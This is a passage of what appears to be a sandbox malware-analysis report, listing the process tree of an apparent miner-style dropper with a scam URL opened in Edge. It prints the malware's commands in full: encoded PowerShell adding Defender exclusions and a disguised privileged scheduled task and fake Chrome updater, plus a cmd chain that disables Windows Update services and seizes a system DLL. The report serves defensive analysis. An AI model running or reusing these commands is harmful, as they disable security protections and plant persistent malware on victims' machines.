        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAYQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAZABqAHoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAeQAjAD4A"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3012
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:5304
      - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:5408
      - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:5472
      - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:5536
      - C:\Windows\system32\sc.exe
        
        sc stop bits
        6⤵
        Launches sc.exe
        
        PID:5584
      - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        6⤵
        Launches sc.exe
        
        PID:5652
      - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        6⤵
        Modifies registry key
        
        PID:5748
      - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        6⤵
        Modifies registry key
        
        PID:5784
      - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        6⤵
        Modifies security service
        Modifies registry key
        
        PID:5844
      - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        6⤵
        Modifies registry key
        
        PID:5884
      - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        6⤵
        Modifies registry key
        
        PID:5912
      - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        6⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:5944
      - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        6⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6052
      - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        6⤵
        Modifies registry key
        
        PID:6296
      - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        6⤵
        Modifies registry key
        
        PID:6316
      - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        6⤵
        Modifies registry key
        
        PID:6352
      - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        6⤵
        Modifies registry key
        
        PID:6368
      - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        6⤵
        
        PID:6404
      - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        6⤵
        
        PID:6424
      - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        6⤵
        
        PID:6572
      - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        6⤵
        
        PID:6592
      - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        6⤵
        
        PID:6676
      - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        6⤵
        
        PID:6712
      - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        6⤵
        
        PID:6804
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        5⤵
        
        PID:5344
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5508
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5564
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5596
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5632
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AdwBtAG0AIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAnACAALQBBAHIAZwB1AG0AZQBuAHQAIAAnAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAIgBQAEEAQQBqAEEASABFAEEAWQBnAEEAagBBAEQANABBAEkAQQBCAFQAQQBIAFEAQQBZAFEAQgB5AEEASABRAEEATABRAEIAUQBBAEgASQBBAGIAdwBCAGoAQQBHAFUAQQBjAHcAQgB6AEEAQwBBAEEATABRAEIARwBBAEcAawBBAGIAQQBCAGwAQQBGAEEAQQBZAFEAQgAwAEEARwBnAEEASQBBAEEAbgBBAEUATQBBAE8AZwBCAGMAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAEkAQQBCAEcAQQBHAGsAQQBiAEEAQgBsAEEASABNAEEAWABBAEIASABBAEcAOABBAGIAdwBCAG4AQQBHAHcAQQBaAFEAQgBjAEEARQBNAEEAYQBBAEIAeQBBAEcAOABBAGIAUQBCAGwAQQBGAHcAQQBkAFEAQgB3AEEARwBRAEEAWQBRAEIAMABBAEcAVQBBAGMAZwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAdABBAEYAWQBBAFoAUQBCAHkAQQBHAEkAQQBJAEEAQgBTAEEASABVAEEAYgBnAEIAQgBBAEgATQBBAEkAQQBBADgAQQBDAE0AQQBiAFEAQgB6AEEAQwBNAEEAUABnAEEAPQAiACcAKQAgADwAIwBvAGoAIwA+ACAALQBUAHIAaQBnAGcAZQByACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AFMAdABhAHIAdAB1AHAAKQAgADwAIwBuAGkAZwBkACMAPgAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAaQBzAGEAbABsAG8AdwBIAGEAcgBkAFQAZQByAG0AaQBuAGEAdABlACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABPAG4ASQBkAGwAZQBFAG4AZAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBEAGEAeQBzACAAMQAwADAAMAApACkAIAA8ACMAcAB5ACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAUQBDACcAIAAtAFUAcwBlAHIAIAAnAFMAeQBzAHQAZQBtACcAIAAtAFIAdQBuAEwAZQB2AGUAbAAgACcASABpAGcAaABlAHMAdAAnACAALQBGAG8AcgBjAGUAIAA8ACMAZQB4AHMAIwA+ADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAxADEALgBlAHgAZQAnACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgADwAIwB4AGoAZABpACMAPgA7ACAAUwB0AGEAcgB0AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgADwAIwBsAG8AIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwA7AA=="
        5⤵
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5724
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://take-realprize.life/?u=lq1pd08&o=hdck0gl
    3⤵
    - Adds Run key to start application
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff9dbf546f8,0x7ff9dbf54708,0x7ff9dbf54718
      4⤵
      PID:3364
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2080 /prefetch:2
      4⤵
      PID:4080
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2380
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2660 /prefetch:8
      4⤵
      PID:4128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3620 /prefetch:1
      4⤵
      PID:4272
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3628 /prefetch:1
      4⤵
      PID:4668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5004 /prefetch:8
      4⤵
      PID:5132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5160 /prefetch:1
      4⤵
      PID:5196
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5348 /prefetch:8
      4⤵
      PID:5996
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:1
      4⤵
      PID:6016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5792 /prefetch:1
      4⤵
      PID:6072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3344 /prefetch:8
      4⤵
      PID:6832
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
      4⤵
      Drops file in Program Files directory
      PID:6840
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff65ceb5460,0x7ff65ceb5470,0x7ff65ceb5480
        5⤵
        
        PID:6980
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3344 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7184
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4032 /prefetch:8
      4⤵
      PID:9544
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5232 /prefetch:8
      4⤵
      PID:9584
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3260 /prefetch:8
      4⤵
      PID:9628
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4892 /prefetch:8
      4⤵
      PID:9668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1792 /prefetch:8
      4⤵
      PID:9716
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6132 /prefetch:8
      4⤵
      PID:9756
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1808 /prefetch:8
      4⤵
      PID:9804
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3372 /prefetch:8
      4⤵
      PID:9920
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,3880411136480626773,5224056784653096390,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1980 /prefetch:2
      4⤵
      PID:10120

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAHEAYgAjAD4AIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMAIAA8ACMAbQBzACMAPgA="
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:6284
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:6944
- - C:\Windows\System32\conhost.exe
    "C:\Windows\System32\conhost.exe" "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Drops file in Drivers directory
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Drops file in Program Files directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:7096
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAYQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAZABqAHoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAeQAjAD4A"
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:7332
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      PID:7760
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:7876
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:7912
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:7936
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:8000
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:8120
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:8140
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:8160
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
